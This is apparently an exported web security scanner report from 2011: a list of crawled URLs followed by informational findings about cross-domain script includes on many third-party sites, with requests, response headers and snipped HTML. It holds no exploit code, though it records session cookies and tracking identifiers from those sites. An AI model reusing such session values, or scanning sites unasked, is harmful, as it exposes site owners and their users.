http://www.owneriq.com/mostiq
http://www.owneriq.com/opt-out
http://www.owneriq.com/ownership-targeting
http://www.owneriq.com/partners
http://www.owneriq.com/press
http://www.owneriq.com/press-coverage
http://www.owneriq.com/product-ownership-party
http://www.owneriq.com/retailers-and-manufacturers
http://www.owneriq.com/retargeting
http://www.owneriq.com/reversing-market-research
http://www.owneriq.com/sitemap
http://www.pchell.com/support/toptext.shtml
http://www.pcmag.com/&|http:/www.pcmag.com/reviews|http:/www.pcmag.com/category2/0,2806,24,00.asp|http:/www.pcmag.com/category2/0,2806,9,00.asp|http:/www.pcmag.com/category2/0,2806,4829,00.asp|http:/www.pcmag.com/category2/0,2806,2201,00.asp|office.microsoft.com|www.healthline.com/$|http:/www.terra.com.mx/default.htm|http:/www.terra.com/$|www.people.com/$|http:/www.walmart.com/|http:/www.walmart.com/cp/toys/4171|http:/www.walmart.com/cp/Electronics/3944
http://www.pcmag.com/category2/0,2806,2201,00.asp|office.microsoft.com|www.healthline.com/$|http:/www.terra.com.mx/default.htm|http:/www.terra.com/$|www.people.com/$|http:/www.walmart.com/|http:/www.walmart.com/cp/toys/4171|http:/www.walmart.com/cp/Electronics/3944
http://www.pcmag.com/category2/0,2806,24,00.asp|http:/www.pcmag.com/category2/0,2806,9,00.asp|http:/www.pcmag.com/category2/0,2806,4829,00.asp|http:/www.pcmag.com/category2/0,2806,2201,00.asp|office.microsoft.com|www.healthline.com/$|http:/www.terra.com.mx/default.htm|http:/www.terra.com/$|www.people.com/$|http:/www.walmart.com/|http:/www.walmart.com/cp/toys/4171|http:/www.walmart.com/cp/Electronics/3944
http://www.pcmag.com/category2/0,2806,4829,00.asp|http:/www.pcmag.com/category2/0,2806,2201,00.asp|office.microsoft.com|www.healthline.com/$|http:/www.terra.com.mx/default.htm|http:/www.terra.com/$|www.people.com/$|http:/www.walmart.com/|http:/www.walmart.com/cp/toys/4171|http:/www.walmart.com/cp/Electronics/3944
http://www.pcmag.com/category2/0,2806,9,00.asp|http:/www.pcmag.com/category2/0,2806,4829,00.asp|http:/www.pcmag.com/category2/0,2806,2201,00.asp|office.microsoft.com|www.healthline.com/$|http:/www.terra.com.mx/default.htm|http:/www.terra.com/$|www.people.com/$|http:/www.walmart.com/|http:/www.walmart.com/cp/toys/4171|http:/www.walmart.com/cp/Electronics/3944
http://www.pcmag.com/reviews|http:/www.pcmag.com/category2/0,2806,24,00.asp|http:/www.pcmag.com/category2/0,2806,9,00.asp|http:/www.pcmag.com/category2/0,2806,4829,00.asp|http:/www.pcmag.com/category2/0,2806,2201,00.asp|office.microsoft.com|www.healthline.com/$|http:/www.terra.com.mx/default.htm|http:/www.terra.com/$|www.people.com/$|http:/www.walmart.com/|http:/www.walmart.com/cp/toys/4171|http:/www.walmart.com/cp/Electronics/3944
http://www.pdf-freedownload.net/
http://www.pdf-search-engine.net/malayalam-kochupusthakam-pdf.html
http://www.pdfforge.org/
http://www.peppernews.eu/
http://www.pgpi.org/
http://www.pointehilton.com/
http://www.pointehilton.com/404.cfm
http://www.pointehilton.com/awards/index.cfm
http://www.pointehilton.com/contact/index.cfm
http://www.pointehilton.com/employment/index.cfm
http://www.pointehilton.com/favicon.ico
http://www.pointehilton.com/sitemap/index.cfm
http://www.pointehilton.com/special-offers/index.cfm
http://www.printfriendly.com/
http://www.protopage.com/
http://www.pusha.se/
http://www.quantcast.com/p-bdv9UMaVrliL2
http://www.rackspace.com/apps/email_hosting/exchange_hosting/
http://www.retailmenot.com/
http://www.retailmenot.com/out/
http://www.scare666.com/news/gambar
http://www.shoppinga.de/
http://www.simpy.com/
http://www.slackbooks.com/404.aspx
http://www.slackbooks.com/Athletic+Training
http://www.slackbooks.com/BestSellers.aspx
http://www.slackbooks.com/ContactUs.aspx
http://www.slackbooks.com/Manual+Therapy
http://www.slackbooks.com/NewTitleNotification.aspx
http://www.slackbooks.com/Orthotics+and+Prosthetics
http://www.slackbooks.com/Physical+Therapy
http://www.slackbooks.com/ShoppingCart.aspx
http://www.slackbooks.com/aclreconstuct
http://www.slackbooks.com/ccacl
http://www.slackbooks.com/ccknee
http://www.slackbooks.com/clinical+nursing+resources
http://www.slackbooks.com/default.aspx
http://www.slackbooks.com/essentialknee
http://www.slackbooks.com/favicon.ico
http://www.slackbooks.com/gastroenterology
http://www.slackbooks.com/homemodification
http://www.slackbooks.com/occupational+therapy
http://www.slackbooks.com/ophthalmic+technology
http://www.slackbooks.com/ophthalmology
http://www.slackbooks.com/orthopedics
http://www.slackbooks.com/pediatrics
http://www.smartertechnology.com/c/s/Tools/
http://www.spiele365.com/
http://www.splunk.com/page/ask_expert
http://www.splunk.com/page/ask_expert/default/3107
http://www.splunk.com/page/ask_expert/default/4396
http://www.splunk.com/page/sign_up
http://www.splunk.com/partners
http://www.squidoo.com/
http://www.startaid.com/
http://www.stumbleupon.com/
http://www.stumpedia.com/
http://www.stylemepretty.com/|http:/stylehive.com|http:/stylelist.com|http:/www.outblush.com/|http:/www.dooce.com/|http:/www.mightygoods.com/|http:/www.coolmompicks.com|onemanga.com|psychcentral.com|webmail.aol.com|http:/www.weblogsinc.com|http:/www.webmd.com/$|wonderwall.msn.com|msn.com/wonderwall|v14.msn.com/|preview.msn.com/|www.msn.com/preview.aspx|mtv.com/videos/|mtv.com/
http://www.technotizie.it/
http://www.topshareware.com/aplikasi-games-buat-hp-nexian-g522/downloads/1.htm
http://www.tumblr.com/
http://www.usbjd.org/
http://www.vibrantmedia.co.uk/
http://www.vibrantmedia.com/
http://www.vibrantmedia.com/about/board.asp
http://www.vibrantmedia.com/about/contact.asp
http://www.vibrantmedia.com/about/index.asp
http://www.vibrantmedia.com/whatisIntelliTXT.asp
http://www.w7o.de/
http://www.walmart.com/cp/Electronics/3944
http://www.walmart.com/|http:/www.walmart.com/cp/toys/4171|http:/www.walmart.com/cp/Electronics/3944
http://www.webnews.de/
http://www.widgetbox.com/widget/bookmarks-kledyde
http://www.wists.com/
http://www.wyanokeis.com/create.aspx
http://www.yasni.de/
http://www.yigg.de/
http://www.yoolink.fr/
http://www.youtube.com/embed/208T0-OLXA8
http://www.youtube.com/embed/5aWd_-x1oPE
http://www.youtube.com/html5
http://www.youtube.com/select_3d_mode
http://www201.americanexpress.com/business-credit-cards/business-card-compare/business-travel-rewards-credit-cards/29789
http://www201.americanexpress.com/business-credit-cards/business-solutions/overview
https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/pass_markup_homepage.do
http://youmob.com/
http://zdpub.vo.llnwd.net/o2/ziffdavisplayer/flvplayer2.html

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

21.1. http://ad.doubleclick.net/adi/N553.158901.DATAXU/B4970757.11 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N553.158901.DATAXU/B4970757.11

Issue detail

The response dynamically includes the following script from another domain:

http://s0.2mdn.net/879366/flashwrite_1_2.js

Request

Response

21.2. http://answers.splunk.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://answers.splunk.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js

Request

GET / HTTP/1.1
Host: answers.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

21.3. http://answers.splunk.com/questions/ask previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://answers.splunk.com
Path:	/questions/ask

Issue detail

The response dynamically includes the following script from another domain:

http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js

Request

GET /questions/ask HTTP/1.1
Host: answers.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

21.4. http://bankskripsi.com/article/casas previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://bankskripsi.com
Path:	/article/casas

Issue detail

The response dynamically includes the following scripts from other domains:

http://adsensecamp.com/show/?id=ridNZAh1nIM%3D&cid=Jw0%2BaU5zMLg%3D&chan=mb146EL9zrU%3D&type=12&title=3D81EE&text=000000&background=FFFFFF&border=CC0000&url=2BA94F
http://radarurl.com/js/radarurl_widget.js
http://s10.histats.com/js9.js
http://scripts.chitika.net/eminimalls/amm.js
http://xslt.alexa.com/site_stats/js/t/a?url=http://bankskripsi.com

Request

GET /article/casas HTTP/1.1
Host: bankskripsi.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:50:57 GMT
Server: Apache
X-Powered-By: PHP/5.2.16
X-Pingback: http://bankskripsi.com/xmlrpc.php
Pragma: Public
Cache-Control: no-cache, must-revalidate, no-transform
Vary: User-Agent,Accept,Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 19407

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head profile="http://gmpg.org/x
...[SNIP]...
</script>
<script src="http://scripts.chitika.net/eminimalls/amm.js" type="text/javascript">
</script>
...[SNIP]...

<script src="http://adsensecamp.com/show/?id=ridNZAh1nIM%3D&cid=Jw0%2BaU5zMLg%3D&chan=mb146EL9zrU%3D&type=12&title=3D81EE&text=000000&background=FFFFFF&border=CC0000&url=2BA94F" type="text/javascript">
</script>
...[SNIP]...
<A href="http://www.alexa.com/siteinfo/http://bankskripsi.com"><SCRIPT type='text/javascript' language='JavaScript' src='http://xslt.alexa.com/site_stats/js/t/a?url=http://bankskripsi.com'></SCRIPT>
...[SNIP]...
</a>
<script type="text/javascript" language="javascript" src="http://s10.histats.com/js9.js"></script>
...[SNIP]...
</div>
<script type="text/javascript" src="http://radarurl.com/js/radarurl_widget.js"></script>
...[SNIP]...

21.5. http://bassistance.de/jquery-plugins/jquery-plugin-validation/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://bassistance.de
Path:	/jquery-plugins/jquery-plugin-validation/

Issue detail

The response dynamically includes the following script from another domain:

http://twitter.com/statuses/user_timeline/bassistance.json?callback=twitterCallback&count=3&named_obj

Request

GET /jquery-plugins/jquery-plugin-validation/ HTTP/1.1
Host: bassistance.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:44:36 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g
Vary: Cookie,Accept-Encoding
X-Pingback: http://bassistance.de/xmlrpc.php
WP-Super-Cache: Served legacy cache file
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 672186

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=
...[SNIP]...
</h2>

<script type="text/javascript" src="http://twitter.com/statuses/user_timeline/bassistance.json?callback=twitterCallback&count=3&named_obj"></script>
...[SNIP]...

21.6. http://blog.freedownloadscenter.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://blog.freedownloadscenter.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://www.giveawayoftheday.com/ticker/

Request

GET / HTTP/1.1
Host: blog.freedownloadscenter.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.8.54
Date: Sat, 05 Feb 2011 22:44:37 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Pingback: http://blog.freedownloadscenter.com/xmlrpc.php
Last-Modified: Sat, 05 Feb 2011 22:09:05 GMT
Content-Length: 69623

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>Free
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.giveawayoftheday.com/ticker/">
</script>
...[SNIP]...

21.7. http://blog.owneriq.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://blog.owneriq.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://t2.trackalyzer.com/trackalyze.js

Request

GET / HTTP/1.1
Host: blog.owneriq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:45:44 GMT
Server: Apache/2.2.14 (Fedora)
X-Powered-By: PHP/5.2.9
X-Pingback: http://blog.owneriq.com/xmlrpc.php
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31603

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
</script>
<script type="text/javascript" language="javascript" src="http://t2.trackalyzer.com/trackalyze.js"></script>
...[SNIP]...

21.8. http://blog.tipd.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://blog.tipd.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://partner.googleadservices.com/gampad/google_service.js
http://s7.addthis.com/js/200/addthis_widget.js

Request

GET / HTTP/1.1
Host: blog.tipd.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:00:40 GMT
Server: Apache/2.0.54
X-Powered-By: PHP/4.4.9
X-Pingback: http://blog.tipd.com/xmlrpc.php
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
X-Pad: avoid browser bug
Content-Length: 25049

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head profile="http://gmpg.org/xfn/11">

...[SNIP]...
<link rel="icon" href="/favicon.gif" type="image/x-icon"/>

<script type="text/javascript" src="http://partner.googleadservices.com/gampad/google_service.js">
</script>
...[SNIP]...
</a><script type="text/javascript" src="http://s7.addthis.com/js/200/addthis_widget.js"></script>
...[SNIP]...
</a><script type="text/javascript" src="http://s7.addthis.com/js/200/addthis_widget.js"></script>
...[SNIP]...
</a><script type="text/javascript" src="http://s7.addthis.com/js/200/addthis_widget.js"></script>
...[SNIP]...
</a><script type="text/javascript" src="http://s7.addthis.com/js/200/addthis_widget.js"></script>
...[SNIP]...
</a><script type="text/javascript" src="http://s7.addthis.com/js/200/addthis_widget.js"></script>
...[SNIP]...

21.9. http://blog.vibrantmedia.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://blog.vibrantmedia.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://images.intellitxt.com/ast/vibrant/toolbar/prod/js/vm_toolbar.js

Request

GET / HTTP/1.1
Host: blog.vibrantmedia.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

21.10. http://brandonaaron.net/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://brandonaaron.net
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://i.simpli.fi/dpx.js?cid=107

Request

GET / HTTP/1.1
Host: brandonaaron.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:50:58 GMT
Server: Apache/2.0.52 (CentOS)
X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 2.0.6
X-Runtime: 1ms
ETag: "1ce5588f8d0a6e8298d0959c03bf5f45"
Cache-Control: private, max-age=0, must-revalidate
Set-Cookie: _blog_session=BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA%3D%3D--43c046f6acf84405a38de8e12fc2c472b1d35a90; path=/; HttpOnly
Content-Length: 19341
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=utf-8

<!doctype html>
<html>
<head>
<title>Brandon Aaron : Blog</title>
<meta content='text/html; charset=utf-8' http-equiv='Content-type' />
<link href='/favicon.ico' rel='shortcut icon' />

...[SNIP]...
</script>
<script src='http://i.simpli.fi/dpx.js?cid=107' type='text/javascript'></script>
...[SNIP]...

21.11. http://buzz.yahoo.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://buzz.yahoo.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://l.yimg.com/ds/combo?yui/2.7.0/build/yahoo-dom-event/yahoo-dom-event.js&yui/2.7.0/build/selector/selector-min.js&yui/2.7.0/build/connection/connection-min.js&yui/2.7.0/build/json/json-min.js&yui/2.7.0/build/animation/animation-min.js&yui/2.7.0/build/datasource/datasource-min.js&yui/2.7.0/build/autocomplete/autocomplete-min.js&yui/2.7.0/build/cookie/cookie-min.js&yui/2.7.0/build/imageloader/imageloader-min.js&yui/2.7.0/build/element/element-min.js&yui/2.7.0/build/tabview/tabview-min.js&yui/2.7.0/build/container/container-min.js&orion/1.0.15.59/js/main.js&orion/1.0.15.59/js/eventdelegation.js&orion/1.0.15.59/js/layer.js&orion/1.0.15.59/js/messagebar.js&orion/1.0.15.59/js/view-by.js&orion/1.0.15.59/js/categorylist-more-menu.js&orion/1.0.15.59/js/nagbar.js&orion/1.0.15.59/js/whatsthis.js&orion/1.0.15.59/js/ylc_1.9.js&orion/1.0.15.59/js/ult.js&orion/1.0.15.59/js/articlelist.js&orion/1.0.15.59/js/beacon.js&orion/1.0.15.59/js/coreid.js&orion/1.0.15.59/js/vitality.js&orion/1.0.15.59/js/localbuzz.js&orion/1.0.15.59/js/nagbarPopup.js&orion/1.0.15.59/js/more-topics.js
http://l.yimg.com/kx/ds/js/disclosure-1.0.js
http://l.yimg.com/zz/combo?kx/ucs/common/js/1/setup-min.js&kx/ucs/common/js/56/jsonp-cached-min.js&kx/ucs/search/js/88/search-min.js&kx/ucs/menu_utils/js/105/menu_utils-min.js&kx/ucs/username/js/14/user_menu-min.js&kx/ucs/help/js/13/help_menu-min.js&kx/ucs/sts/js/1/skip-min.js&kx/ucs/homepage/js/41/homepage-min.js&kx/ucs/trending_searches/js/82/trending_searches_anim-min.js
http://yui.yahooapis.com/3.1.1/build/yui/yui.js

Request

GET / HTTP/1.1
Host: buzz.yahoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:46:13 GMT
Set-Cookie: B=5u8ndkd6krkpl&b=3&s=t6; expires=Tue, 05-Feb-2013 20:00:00 GMT; path=/; domain=.yahoo.com
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Cache-Control: private
Content-Length: 124261

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">

<html lang="en-US" id="front" class="univHeader pageLang-en-US ie ie7 ie70 winvista">
<head>
<title>What's Buzzing? You Tell Us! Top News and
...[SNIP]...
</script>
<script type="text/javascript" src="http://yui.yahooapis.com/3.1.1/build/yui/yui.js"></script>
...[SNIP]...
</div><script charset="utf-8" type="text/javascript" src="http://l.yimg.com/zz/combo?kx/ucs/common/js/1/setup-min.js&kx/ucs/common/js/56/jsonp-cached-min.js&kx/ucs/search/js/88/search-min.js&kx/ucs/menu_utils/js/105/menu_utils-min.js&kx/ucs/username/js/14/user_menu-min.js&kx/ucs/help/js/13/help_menu-min.js&kx/ucs/sts/js/1/skip-min.js&kx/ucs/homepage/js/41/homepage-min.js&kx/ucs/trending_searches/js/82/trending_searches_anim-min.js"></script>
...[SNIP]...
</div>

<script type="text/javascript" src="http://l.yimg.com/ds/combo?yui/2.7.0/build/yahoo-dom-event/yahoo-dom-event.js&yui/2.7.0/build/selector/selector-min.js&yui/2.7.0/build/connection/connection-min.js&yui/2.7.0/build/json/json-min.js&yui/2.7.0/build/animation/animation-min.js&yui/2.7.0/build/datasource/datasource-min.js&yui/2.7.0/build/autocomplete/autocomplete-min.js&yui/2.7.0/build/cookie/cookie-min.js&yui/2.7.0/build/imageloader/imageloader-min.js&yui/2.7.0/build/element/element-min.js&yui/2.7.0/build/tabview/tabview-min.js&yui/2.7.0/build/container/container-min.js&orion/1.0.15.59/js/main.js&orion/1.0.15.59/js/eventdelegation.js&orion/1.0.15.59/js/layer.js&orion/1.0.15.59/js/messagebar.js&orion/1.0.15.59/js/view-by.js&orion/1.0.15.59/js/categorylist-more-menu.js&orion/1.0.15.59/js/nagbar.js&orion/1.0.15.59/js/whatsthis.js&orion/1.0.15.59/js/ylc_1.9.js&orion/1.0.15.59/js/ult.js&orion/1.0.15.59/js/articlelist.js&orion/1.0.15.59/js/beacon.js&orion/1.0.15.59/js/coreid.js&orion/1.0.15.59/js/vitality.js&orion/1.0.15.59/js/localbuzz.js&orion/1.0.15.59/js/nagbarPopup.js&orion/1.0.15.59/js/more-topics.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://l.yimg.com/kx/ds/js/disclosure-1.0.js"></script>
...[SNIP]...

21.12. http://cdn.w55c.net/i/0R8lWflQ0f_326769041.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0R8lWflQ0f_326769041.html

Issue detail

The response dynamically includes the following script from another domain:

http://ad.doubleclick.net/adj/N553.158901.DATAXU/B4970757.11;abr=!ie;sz=468x60;pc=[TPAS_ID];ord=[timestamp]?

Request

GET /i/0R8lWflQ0f_326769041.html?rtbhost=rts-rr13.sldc.dataxu.net&btid=NEQ0REM1Q0QwMDA0QTNFOTBBRTU3QjE0RTUzMDI5NkN8ZDA3NTFmYzItZjJkNS00NTY4LTlmMDMtMjJjYjVmZDA3NTU4fDEyOTY5NDI1NDI5NzF8MXwwRnJrVmZKY3hBfDBSOGxXZmxRMGZ8TURvMGxWVzRKS0RNNkxyVkdqdDV2ZUtjdUJINjNiV1F8&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TU3FzQAEo-kK5XsU5TApbEC2JVNdMc7sOaGvXw&euid=Q0FFU0VDSUFxLVBVbW8yVVJpZkRFMzFLLTJB&slotid=MQ&fiu=MEZya1ZmSmN4QQ&ciu=MFI4bFdmbFEwZg&reqid=NEQ0REM1Q0QwMDA0QTNFOTBBRTU3QjE0RTUzMDI5NkM&ccw=SUFCNyMwLjB8SUFCMiMwLjB8SUFCMyMwLjB8SUFCNyMwLjB8SUFCMiMwLjB8SUFCMyMwLjA&epid=&bp=4400&dv=&dm=&dc=&os=&scres=&gen=&age=&zc=NzUyMDc&s=http%3A%2F%2Fwww.orthougm.com%2F&refurl= HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-0813152173226346&output=html&h=60&slotname=3865030659&w=468&lmt=1296964160&flash=10.1.103&hl=en&url=http%3A%2F%2Fwww.orthougm.com%2F&dt=1296942560320&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=8833934355%2C8094259765&correlator=1296942560294&frm=0&adk=2257162608&ga_vid=429166960.1296942499&ga_sid=1296942499&ga_hid=1263121855&ga_fc=1&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&ref=http%3A%2F%2Fwww.orthougm.com%2Fnslookup.html&fu=0&ifi=3&dtd=3&xpc=dnlnsmkeRR&p=http%3A//www.orthougm.com
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchrubicon=1; matchgoogle=1; matchappnexus=1; wfivefivec=MDo0lVW4JKDM6LrVGjt5veKcuBH63bWQ

Response

21.13. http://channelmarketing.owneriq.com/rmb-account/login-page previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://channelmarketing.owneriq.com
Path:	/rmb-account/login-page

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.1/jquery.min.js
http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js

Request

GET /rmb-account/login-page HTTP/1.1
Host: channelmarketing.owneriq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:46:51 GMT
Server: Apache/2.2.14 (Fedora)
X-Powered-By: PHP/5.2.9
Set-Cookie: PHPSESSID=kt1uph07r6rvoff2tchko0efd3; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 14989

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<META http-equiv="C
...[SNIP]...
</title>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.1/jquery.min.js" type="text/javascript"></script>
<script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js" type="text/javascript"></script>
...[SNIP]...

21.14. http://chattino.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://chattino.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://pagead2.googlesyndication.com/pagead/show_ads.js
http://platform.twitter.com/widgets.js
http://tracker.icerocket.com/services/collector.js
http://www.google.de/cse/brand?form=cse-search-box&lang=de

Request

GET / HTTP/1.1
Host: chattino.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 09:17:13 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 9671

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<h
...[SNIP]...
</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
...[SNIP]...
</form>
<script type="text/javascript" src="http://www.google.de/cse/brand?form=cse-search-box&lang=de"></script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://tracker.icerocket.com/services/collector.js"></script>
...[SNIP]...

21.15. http://creativecommons.org/licenses/by-nc-nd/2.5/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://creativecommons.org
Path:	/licenses/by-nc-nd/2.5/

Issue detail

The response dynamically includes the following scripts from other domains:

http://yui.yahooapis.com/2.6.0/build/connection/connection-min.js
http://yui.yahooapis.com/2.6.0/build/container/container-min.js
http://yui.yahooapis.com/2.6.0/build/json/json-min.js
http://yui.yahooapis.com/2.6.0/build/yahoo-dom-event/yahoo-dom-event.js

Request

GET /licenses/by-nc-nd/2.5/ HTTP/1.1
Host: creativecommons.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache
Vary: Accept-Encoding
